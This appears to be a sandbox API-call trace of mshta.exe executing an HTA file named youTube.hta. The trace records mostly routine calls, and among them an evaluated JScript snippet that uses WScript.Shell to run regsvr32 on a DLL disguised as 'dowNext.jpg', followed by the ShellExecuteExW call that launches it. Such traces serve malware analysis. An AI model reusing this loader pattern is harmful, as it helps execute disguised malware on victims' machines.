[0210.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a58 | out: lpSystemTimeAsFileTime=0x6315a58*(dwLowDateTime=0x7b57ccbb, dwHighDateTime=0x1d7e6dd))
[0210.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a60 | out: lpSystemTimeAsFileTime=0x6315a60*(dwLowDateTime=0x7b57ccbb, dwHighDateTime=0x1d7e6dd))
[0210.772] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
[0210.773] RegisterClassW (lpWndClass=0x19cbb8) returned 0xc06d
[0210.773] CreateWindowExW (dwExStyle=0x0, lpClassName="WorkerW", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x6dc70000, lpParam=0x0) returned 0x30198
[0210.775] SetWindowLongW (hWnd=0x30198, nIndex=0, dwNewLong=7309584) returned 0
[0210.775] SetWindowLongW (hWnd=0x30198, nIndex=-4, dwNewLong=1848605712) returned 2006429408
[0210.775] SetTimer (hWnd=0x30198, nIDEvent=0x1, uElapse=0x3e8, lpTimerFunc=0x0) returned 0x1
[0210.775] GetTickCount () returned 0x1ca6842
[0210.775] GetTickCount () returned 0x1ca6842
[0210.776] SetEvent (hEvent=0x388) returned 1
[0210.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x7b5855aa, dwHighDateTime=0x1d7e6dd))
[0210.776] GetTickCount () returned 0x1ca6842
[0210.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x7b5855aa, dwHighDateTime=0x1d7e6dd))
[0210.776] free (_Block=0x6359f08)
[0210.776] GetCurrentThreadId () returned 0x7a0
[0210.776] GetCurrentThreadId () returned 0x7a0
[0210.777] GetTickCount () returned 0x1ca6842
[0210.777] malloc (_Size=0xc4) returned 0x635d288
[0210.777] VirtualAlloc (lpAddress=0x9685000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x9685000
[0210.777] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x7b58a624, dwHighDateTime=0x1d7e6dd))
[0210.778] GetTickCount () returned 0x1ca6842
[0210.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x7b58a624, dwHighDateTime=0x1d7e6dd))
[0210.778] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x20) returned 0x76f7a0
[0210.778] GetCurrentThreadId () returned 0x7a0
[0210.778] _wcsicmp (_String1="window", _String2="window") returned 0
[0210.778] GetCurrentThreadId () returned 0x7a0
[0210.778] GetCurrentThreadId () returned 0x7a0
[0210.778] GetCurrentThreadId () returned 0x7a0
[0210.779] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.779] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.779] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x7b58f224, dwHighDateTime=0x1d7e6dd))
[0210.779] GetTickCount () returned 0x1ca6842
[0210.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x7b58f224, dwHighDateTime=0x1d7e6dd))
[0210.779] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x7b58f224, dwHighDateTime=0x1d7e6dd))
[0210.779] GetTickCount () returned 0x1ca6842
[0210.780] GetTickCount () returned 0x1ca6842
[0210.780] malloc (_Size=0x80) returned 0x635be30
[0210.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x7b58f224, dwHighDateTime=0x1d7e6dd))
[0210.780] GetCurrentThreadId () returned 0x7a0
[0210.780] GetCurrentThreadId () returned 0x7a0
[0210.780] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.780] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.780] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x7b5918fe, dwHighDateTime=0x1d7e6dd))
[0210.781] GetTickCount () returned 0x1ca6842
[0210.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x7b592c66, dwHighDateTime=0x1d7e6dd))
[0210.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x7b592c66, dwHighDateTime=0x1d7e6dd))
[0210.781] GetTickCount () returned 0x1ca6842
[0210.781] GetTickCount () returned 0x1ca6842
[0210.781] malloc (_Size=0x178) returned 0x635d358
[0210.781] VirtualAlloc (lpAddress=0x9686000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x9686000
[0210.782] SysStringLen (param_1="var loveLike = new ActiveXObject(\"wscript.shell\");var karolDowPow = new ActiveXObject(\"scripting.filesystemobject\");loveLike.run(\"regsvr32 c:\\\\users\\\\public\\\\dowNext.jpg\");") returned 0xac
[0210.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x7b59672d, dwHighDateTime=0x1d7e6dd))
[0210.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x7b59672d, dwHighDateTime=0x1d7e6dd))
[0210.782] GetTickCount () returned 0x1ca6842
[0210.783] GetCurrentThreadId () returned 0x7a0
[0210.783] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.783] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.783] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.783] IsCharSpaceW (wch=0x67) returned 0
[0210.783] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.783] GetTickCount () returned 0x1ca6842
[0210.784] malloc (_Size=0xdc) returned 0x635d4d8
[0210.784] VirtualAlloc (lpAddress=0x9687000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x9687000
[0210.784] GetTickCount () returned 0x1ca6851
[0210.784] malloc (_Size=0x104) returned 0x635d5c0
[0210.784] VirtualAlloc (lpAddress=0x9688000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x9688000
[0210.785] GetTickCount () returned 0x1ca6851
[0210.785] malloc (_Size=0x184) returned 0x635d6d0
[0210.785] VirtualAlloc (lpAddress=0x9689000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x9689000
[0210.786] malloc (_Size=0x28) returned 0x6359f08
[0210.786] GetCurrentThreadId () returned 0x7a0
[0210.786] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.786] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.786] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.787] IUnknown:Release (This=0x642aa80) returned 0x2
[0210.787] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.787] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.787] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x74c970
[0210.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x800) returned 0x7adf80
[0210.787] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100) returned 0x7aecd8
[0210.788] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x789af8
[0210.788] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x789b58
[0210.788] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0210.788] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x74c9b0
[0210.788] memcpy_s (in: _Destination=0x74c9b8, _DestinationSize=0xa, _Source=0x7aecd8, _SourceSize=0xa | out: _Destination=0x74c9b8) returned 0x0
[0210.788] memcpy_s (in: _Destination=0x76f5ec, _DestinationSize=0xa, _Source=0x74c9b8, _SourceSize=0xa | out: _Destination=0x76f5ec) returned 0x0
[0210.789] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x789b58 | out: hHeap=0x6b0000) returned 1
[0210.789] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x789af8 | out: hHeap=0x6b0000) returned 1
[0210.789] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x74c9b0 | out: hHeap=0x6b0000) returned 1
[0210.789] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x74c970 | out: hHeap=0x6b0000) returned 1
[0210.789] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x7adf80 | out: hHeap=0x6b0000) returned 1
[0210.789] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x7aecd8 | out: hHeap=0x6b0000) returned 1
[0210.789] SysStringLen (param_1="lave") returned 0x4
[0210.789] GetTickCount () returned 0x1ca6851
[0210.789] malloc (_Size=0x174) returned 0x635d860
[0210.789] GetTickCount () returned 0x1ca6851
[0210.789] malloc (_Size=0xb8) returned 0x635d9e0
[0210.790] VirtualAlloc (lpAddress=0x968a000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x968a000
[0210.790] GetTickCount () returned 0x1ca6851
[0210.790] malloc (_Size=0xd0) returned 0x635daa0
[0210.790] VirtualAlloc (lpAddress=0x968b000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x968b000
[0210.791] GetCurrentThreadId () returned 0x7a0
[0210.791] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.791] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.791] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0210.792] SysStringLen (param_1="var loveLike = new ActiveXObject(\"wscript.shell\");var karolDowPow = new ActiveXObject(\"scripting.filesystemobject\");loveLike.run(\"regsvr32 c:\\\\users\\\\public\\\\dowNext.jpg\");") returned 0xac
[0210.792] GetTickCount () returned 0x1ca6851
[0210.792] malloc (_Size=0x8c) returned 0x631ff68
[0210.792] malloc (_Size=0x22c) returned 0x635db78
[0210.792] malloc (_Size=0x804) returned 0x635ddb0
[0210.792] malloc (_Size=0x19c) returned 0x635e5c0
[0210.793] free (_Block=0x635e5c0)
[0210.808] GetTickCount () returned 0x1ca6861
[0210.809] SetThreadPriority (hThread=0x394, nPriority=0) returned 1
[0210.809] WaitForSingleObject (hHandle=0x38c, dwMilliseconds=0x3e8) returned 0x0
[0210.809] SetThreadPriority (hThread=0x394, nPriority=-1) returned 1
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x7591000
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x7598000
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x7408000
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x758e000
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x7416000
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x7599000
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x7593000
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x7592000
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x7590000
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x758f000
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x758c000
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x7595000
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x7587000
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x9670000
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x0
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630c648 | out: ListHead=0x630c648) returned 0x7368000
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630c648 | out: ListHead=0x630c648) returned 0x7365000
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630c648 | out: ListHead=0x630c648) returned 0x7364000
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630c648 | out: ListHead=0x630c648) returned 0x0
[0210.809] GetTickCount () returned 0x1ca6861
[0210.809] GetTickCount () returned 0x1ca6861
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630e1b8 | out: ListHead=0x630e1b8) returned 0x0
[0210.809] RtlInterlockedPopEntrySList (in: ListHead=0x630e198 | out: ListHead=0x630e198) returned 0x0
[0210.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a68 | out: lpSystemTimeAsFileTime=0x6315a68*(dwLowDateTime=0x7b5d85a0, dwHighDateTime=0x1d7e6dd))
[0210.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x6315a70 | out: lpSystemTimeAsFileTime=0x6315a70*(dwLowDateTime=0x7b5d85a0, dwHighDateTime=0x1d7e6dd))
[0210.810] malloc (_Size=0x94) returned 0x6359058
[0210.810] malloc (_Size=0xa4) returned 0x635e5c0
[0210.810] malloc (_Size=0xc) returned 0x63272e8
[0210.811] malloc (_Size=0xc) returned 0x6324828
[0210.811] malloc (_Size=0x10) returned 0x635e868
[0210.811] malloc (_Size=0x30) returned 0x63682e0
[0210.811] free (_Block=0x635ddb0)
[0210.811] free (_Block=0x635db78)
[0210.811] wcscpy_s (in: _Destination=0x735cfa0, _SizeInWords=0xa, _Source="eval code" | out: _Destination="eval code") returned 0x0
[0210.811] CLSIDFromProgIDEx (in: lpszProgID="wscript.shell", lpclsid=0x199de4 | out: lpclsid=0x199de4*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0
[0210.813] CoGetClassObject (in: rclsid=0x199de4*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x5, pvReserved=0x0, riid=0x6cf6d5c4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x199ddc | out: ppv=0x199ddc*=0x635e808) returned 0x0
[0210.831] malloc (_Size=0x80) returned 0x635beb8
[0210.831] GetVersionExA (in: lpVersionInformation=0x1984cc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x80, dwMinorVersion=0x0, dwBuildNumber=0x660e7930, dwPlatformId=0x80, szCSDVersion="\x80") | out: lpVersionInformation=0x1984cc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1
[0210.831] GetUserDefaultLCID () returned 0x409
[0210.831] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000070, lpLCData=0x198094, cchData=2 | out: lpLCData="") returned 2
[0210.831] malloc (_Size=0xc) returned 0x635e808
[0210.833] malloc (_Size=0x28) returned 0x635a148
[0210.833] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x199c70, nSize=0x105 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d
[0210.833] _strcmpi (_Str1="64\\mshta.exe", _Str2="\\wscript.exe") returned -1
[0210.833] _strcmpi (_Str1="64\\mshta.exe", _Str2="\\cscript.exe") returned -1
[0210.833] free (_Block=0x635e808)
[0210.834] CLSIDFromProgIDEx (in: lpszProgID="scripting.filesystemobject", lpclsid=0x199de4 | out: lpclsid=0x199de4*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28))) returned 0x0
[0210.836] CoGetClassObject (in: rclsid=0x199de4*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28)), dwClsContext=0x5, pvReserved=0x0, riid=0x6cf6d5c4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x199ddc | out: ppv=0x199ddc*=0x6368860) returned 0x0
[0210.850] FileSystemObject:IUnknown:QueryInterface (in: This=0x6368860, riid=0x6cf61b68*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x199dd4 | out: ppvObject=0x199dd4*=0x0) returned 0x80004002
[0210.850] FileSystemObject:IClassFactory:CreateInstance (in: This=0x6368860, pUnkOuter=0x0, riid=0x6cf5a8ac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x199e34 | out: ppvObject=0x199e34*=0x635a1d8) returned 0x0
[0210.851] FileSystemObject:IUnknown:Release (This=0x6368860) returned 0x0
[0210.851] FileSystemObject:IUnknown:QueryInterface (in: This=0x635a1d8, riid=0x6cf61b38*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x199ddc | out: ppvObject=0x199ddc*=0x0) returned 0x80004002
[0210.851] FileSystemObject:IUnknown:QueryInterface (in: This=0x635a1d8, riid=0x6cf5a8cc*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x199dd4 | out: ppvObject=0x199dd4*=0x635a1d8) returned 0x0
[0210.852] FileSystemObject:IUnknown:QueryInterface (in: This=0x635a1d8, riid=0x6cf612c0*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x199d84 | out: ppvObject=0x199d84*=0x0) returned 0x80004002
[0210.852] FileSystemObject:IUnknown:QueryInterface (in: This=0x635a1d8, riid=0x6cf61b58*(Data1=0x626fc520, Data2=0xa41e, Data3=0x11cf, Data4=([0]=0xa7, [1]=0x31, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x8, [6]=0x26, [7]=0x37)), ppvObject=0x199d64 | out: ppvObject=0x199d64*=0x0) returned 0x80004002
[0210.852] FileSystemObject:IUnknown:QueryInterface (in: This=0x635a1d8, riid=0x6cf61b48*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x199d6c | out: ppvObject=0x199d6c*=0x0) returned 0x80004002
[0210.852] FileSystemObject:IUnknown:QueryInterface (in: This=0x635a1d8, riid=0x6cf5a8bc*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x96880f0 | out: ppvObject=0x96880f0*=0x0) returned 0x80004002
[0210.852] FileSystemObject:IUnknown:AddRef (This=0x635a1d8) returned 0x3
[0210.852] FileSystemObject:IUnknown:Release (This=0x635a1d8) returned 0x2
[0210.852] FileSystemObject:IUnknown:Release (This=0x635a1d8) returned 0x1
[0210.852] GetTickCount () returned 0x1ca6890
[0210.853] LoadRegTypeLib (in: rguid=0x660e1828*(Data1=0xf935dc20, Data2=0x1cf0, Data3=0x11d0, Data4=([0]=0xad, [1]=0xb9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0x8a, [7]=0xb)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x199d28*=0x635a150 | out: pptlib=0x199d28*=0x7a43e8) returned 0x0
[0210.866] ITypeLib:GetTypeInfoOfGuid (in: This=0x7a43e8, GUID=0x660e13b4*(Data1=0x41904400, Data2=0xbe18, Data3=0x11d3, Data4=([0]=0xa2, [1]=0x8b, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppTInfo=0x199d08 | out: ppTInfo=0x199d08*=0x9e6125c) returned 0x0
[0210.867] ITypeInfo:GetRefTypeOfImplType (in: This=0x9e6125c, index=0xffffffff, pRefType=0x199d04 | out: pRefType=0x199d04*=0xfffffffe) returned 0x0
[0210.867] ITypeInfo:GetRefTypeInfo (in: This=0x9e6125c, hreftype=0xfffffffe, ppTInfo=0x660f40b0 | out: ppTInfo=0x660f40b0*=0x9e61288) returned 0x0
[0210.868] IUnknown:Release (This=0x9e6125c) returned 0x1
[0210.868] IUnknown:Release (This=0x7a43e8) returned 0x1
[0210.868] IUnknown:AddRef (This=0x9e61288) returned 0x2
[0210.868] ITypeInfo:LocalGetIDsOfNames (This=0x9e61288) returned 0x0
[0210.868] IUnknown:Release (This=0x9e61288) returned 0x1
[0210.869] IUnknown:AddRef (This=0x9e61288) returned 0x2
[0210.869] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0
[0210.869] ITypeInfo:LocalInvoke (This=0x9e61288) returned 0x0
[0210.869] ExpandEnvironmentStringsW (in: lpSrc="regsvr32 c:\\users\\public\\dowNext.jpg", lpDst=0x198d10, nSize=0x400 | out: lpDst="regsvr32 c:\\users\\public\\dowNext.jpg") returned 0x25
[0210.869] LoadLibraryExW (lpLibFileName="shell32.dll", hFile=0x0, dwFlags=0x800) returned 0x76370000
[0210.871] GetProcAddress (hModule=0x76370000, lpProcName="ShellExecuteExW") returned 0x7650e690
[0210.871] ShellExecuteExW (pExecInfo=0x198cb8*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="regsvr32", lpParameters="c:\\users\\public\\dowNext.jpg", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0))
[0210.885] GetWindowLongW (hWnd=0x203d8, nIndex=-21) returned 7147424
[0210.887] QueryPerformanceCounter (in: lpPerformanceCount=0x198a08 | out: lpPerformanceCount=0x198a08*=3014562929571) returned 1
[0210.887] NtdllDefWindowProc_W () returned 0x0
[0210.888] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0210.888] KillTimer (hWnd=0x3029a, uIDEvent=0x1000) returned 1
[0210.888] IUnknown:AddRef (This=0x6d993c) returned 0x6
[0210.889] IUri:GetScheme (in: This=0x6d993c, pdwScheme=0x197e70 | out: pdwScheme=0x197e70*=0x9) returned 0x0
[0210.889] IUnknown:QueryInterface (in: This=0x6d993c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x197e1c | out: ppvObject=0x197e1c*=0x6d993c) returned 0x0
[0210.890] IUnknown:Release (This=0x6d993c) returned 0x6
[0210.890] IUnknown:AddRef (This=0x6d993c) returned 0x7
[0210.890] PathCreateFromUrlW (in: pszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pszPath=0x198688, pcchPath=0x197e58, dwFlags=0x0 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta", pcchPath=0x197e58) returned 0x0
[0210.890] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x5c) returned 0x70b420
[0210.891] IUnknown:Release (This=0x6d993c) returned 0x6
[0210.891] GetWindowTextW (in: hWnd=0x40264, lpString=0x1979fc, nMaxCount=512 | out: lpString="") returned 0
[0210.891] NtdllDefWindowProc_W () returned 0x0
[0210.891] SetWindowTextW (hWnd=0x40264, lpString="C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta") returned 1
[0210.891] NtdllDefWindowProc_W () returned 0x1
[0210.892] IUnknown:Release (This=0x6d993c) returned 0x5
[0210.892] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x70b420 | out: hHeap=0x6b0000) returned 1
[0210.892] GetCurrentThreadId () returned 0x7a0
[0210.893] QueryPerformanceCounter (in: lpPerformanceCount=0x198984 | out: lpPerformanceCount=0x198984*=3014563526358) returned 1
[0210.900] QueryPerformanceCounter (in: lpPerformanceCount=0x1988a8 | out: lpPerformanceCount=0x1988a8*=3014564238970) returned 1
[0210.900] QueryPerformanceCounter (in: lpPerformanceCount=0x64209e0 | out: lpPerformanceCount=0x64209e0*=3014564260580) returned 1
[0210.900] GetCurrentThreadId () returned 0x7a0
[0210.900] GetCurrentThreadId () returned 0x7a0
[0210.900] GetCurrentThreadId () returned 0x7a0
[0210.904] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0210.904] LsSetDoc () returned 0x0
[0210.904] LsCreateLine ()
[0211.024] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0211.024] LsSetDoc () returned 0x0
[0211.024] LsCreateLine ()
[0211.025] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0211.027] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0211.027] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0211.028] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0211.028] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x7c) returned 0x75bee8
[0211.028] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x75bee8 | out: hHeap=0x6b0000) returned 1
[0211.028] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0211.029] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x110) returned 0x799630
[0211.030] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x7ae2b0
[0211.030] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x7ae430
[0211.030] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x7ae448
[0211.030] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x7ae328
[0211.030] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x7ae490
[0211.030] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0211.031] GetFocus () returned 0x3029a
[0211.031] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x58) returned 0x79f850
[0211.032] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
